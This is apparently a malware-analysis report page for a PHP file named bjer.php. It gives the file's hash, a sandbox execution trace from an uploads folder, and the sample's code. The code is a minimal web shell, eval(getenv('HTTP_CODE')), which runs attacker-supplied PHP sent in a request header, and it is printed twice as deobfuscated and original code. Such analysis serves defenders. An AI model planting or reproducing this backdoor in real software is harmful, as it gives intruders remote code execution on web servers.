PHP Malware Analysis

bjer.php

md5: 89d8569b36d2f38e07eaf90c31e5b51c

Jump to:

Screenshot


Attributes


Deobfuscated PHP code

��<?php

eval(getenv('HTTP_CODE'));

?>


Execution traces

data/traces/89d8569b36d2f38e07eaf90c31e5b51c_trace-1676239840.1355.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:11:06.033357]
1	0	1	0.000241	393512
1	3	0	0.000293	393144	{main}	1		/var/www/html/uploads/bjer.php	0	0
1	3	1	0.000323	393144
			0.000358	314224
TRACE END   [2023-02-12 20:11:06.033515]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

��<?php

eval(getenv('HTTP_CODE'));

?>